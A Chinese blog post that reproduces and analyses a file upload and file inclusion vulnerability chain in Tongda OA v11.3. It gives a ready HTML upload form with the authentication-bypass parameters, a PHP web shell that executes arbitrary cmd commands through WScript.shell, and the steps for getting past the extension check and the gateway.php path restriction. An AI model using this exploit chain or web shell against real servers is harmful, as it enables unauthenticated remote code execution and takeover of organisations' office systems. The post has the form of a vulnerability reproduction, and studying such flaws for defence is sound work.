通达OA文件上传&文件包含

通达OA文件上传&文件包含

复现环境:windows7

通达OAv11.3,解码工具:zend5.4

可以把系统安装在虚拟机上,然后关闭虚拟机的防火墙

分析

漏洞复现

文件上传漏洞

先写一个表单

1
2
3
4
5
6
7
8
9
<form id="frmUpload" enctype="multipart/form-data"
action="http://192.168.1.50/ispirit/im/upload.php" method="post">Upload a new file:<br>
<input type="text" name="P" value="123">
<input type="text" name="TYPE" value="123">
<input type="text" name="DEST_UID" value="10">
<input type="file" name="ATTACHMENT" size="50">
<input type="text" name="UPLOAD_MODE" value="1">
<input id="btnUpload" type="submit" value="Upload">
</form>

上传文件

image-20200416160745446

image-20200416160916672

文件包含漏洞

image-20200416161524897

shell代码如下:

1
2
3
4
5
6
7
8
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

代码分析

首先文件上传漏洞,跟进ispirit/im/upload.php

image-20200416162016433

当我们直接访问upload.php时会返回

image-20200416162226076

加一个P就可以绕过登陆限制

image-20200416162342900

接着往后看

image-20200416162445901

这里的DEST_UID不为0,也不为空

所以令DEST_UID为10,至于TYPE为123就好

image-20200416162851516

返回无上传文件

image-20200416163152532

我们可以上传一个文件,并且当$UPLOAD_MODE="1"将会对文件名进行URL解码

然后调用upload(),跟进这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
function upload($PREFIX, $MODULE, $OUTPUT)
{
if (strstr($MODULE, "/") || strstr($MODULE, "\\")) {
if (!$OUTPUT) {
return _("参数含有非法字符。");
}

Message(_("错误"), _("参数含有非法字符。"));
exit();
}

$ATTACHMENTS = array("ID" => "", "NAME" => "");
reset($_FILES);

foreach ($_FILES as $KEY => $ATTACHMENT ) {
if (($ATTACHMENT["error"] == 4) || (($KEY != $PREFIX) && (substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . "_"))) {
continue;
}

$data_charset = (isset($_GET["data_charset"]) ? $_GET["data_charset"] : (isset($_POST["data_charset"]) ? $_POST["data_charset"] : ""));
$ATTACH_NAME = ($data_charset != "" ? td_iconv($ATTACHMENT["name"], $data_charset, MYOA_CHARSET) : $ATTACHMENT["name"]);
$ATTACH_SIZE = $ATTACHMENT["size"];
$ATTACH_ERROR = $ATTACHMENT["error"];
$ATTACH_FILE = $ATTACHMENT["tmp_name"];
$ERROR_DESC = "";

if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}

$encode = mb_detect_encoding($ATTACH_NAME, array("ASCII", "UTF-8", "GB2312", "GBK", "BIG5"));

if ($encode != "UTF-8") {
$ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, "utf-8", MYOA_CHARSET);
}
else {
$ATTACH_NAME_UTF8 = $ATTACH_NAME;
}

if (preg_match("/[\':<>?]|\/|\\\\|\"|\|/u", $ATTACH_NAME_UTF8)) {
$ERROR_DESC = sprintf(_("文件名[%s]包含[/\'\":*?<>|]等非法字符"), $ATTACH_NAME);
}

if ($ATTACH_SIZE == 0) {
$ERROR_DESC = sprintf(_("文件[%s]大小为0字节"), $ATTACH_NAME);
}

if ($ERROR_DESC == "") {
$ATTACH_NAME = str_replace("'", "", $ATTACH_NAME);
$ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);

if ($ATTACH_ID === false) {
$ERROR_DESC = sprintf(_("文件[%s]上传失败"), $ATTACH_NAME);
}
else {
$ATTACHMENTS["ID"] .= $ATTACH_ID . ",";
$ATTACHMENTS["NAME"] .= $ATTACH_NAME . "*";
}
}

@unlink($ATTACH_FILE);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
$ERROR_DESC = sprintf(_("文件[%s]的大小超过了系统限制(%s)"), $ATTACH_NAME, ini_get("upload_max_filesize"));
}
else if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
$ERROR_DESC = sprintf(_("文件[%s]的大小超过了表单限制"), $ATTACH_NAME);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
$ERROR_DESC = sprintf(_("文件[%s]上传不完整"), $ATTACH_NAME);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) {
$ERROR_DESC = sprintf(_("文件[%s]上传失败:找不到临时文件夹"), $ATTACH_NAME);
}
else if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) {
$ERROR_DESC = sprintf(_("文件[%s]写入失败"), $ATTACH_NAME);
}
else {
$ERROR_DESC = sprintf(_("未知错误[代码:%s]"), $ATTACH_ERROR);
}

if ($ERROR_DESC != "") {
if (!$OUTPUT) {
delete_attach($ATTACHMENTS["ID"], $ATTACHMENTS["NAME"], $MODULE);

return $ERROR_DESC;
}
else {
Message(_("错误"), $ERROR_DESC);
}
}
}

return $ATTACHMENTS;
}

关键代码在于:

1
if (!is_uploadable($ATTACH_NAME))

image-20200416164314210

这个后缀检测,从最后一个.开始往后的内容为后缀,我们使用木马图绕过后缀检验

然后关于文件的保存路径

image-20200416170750235

这个$ATTACHMENT_ID来自

image-20200416171219643

upload.php

image-20200416171347486

跟进add_attach()

image-20200416171651858

这个文件的文件名是ATTACH_ID.ATTACH_NAME

所以我们上传文件的时候可以直接令文件名为jpg

然后上传文件,即可

接着文件读取漏洞,跟进ispirit/interface/gateway.php

image-20200416172113452

只有url中有general/,ispirit/,module/然后就可以绕过限制,我们做成jsoncode

就可以读取文件了。

Author: 我是小吴啦
Link: http://yoursite.com/2020/04/01/%E9%80%9A%E8%BE%BEOA%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.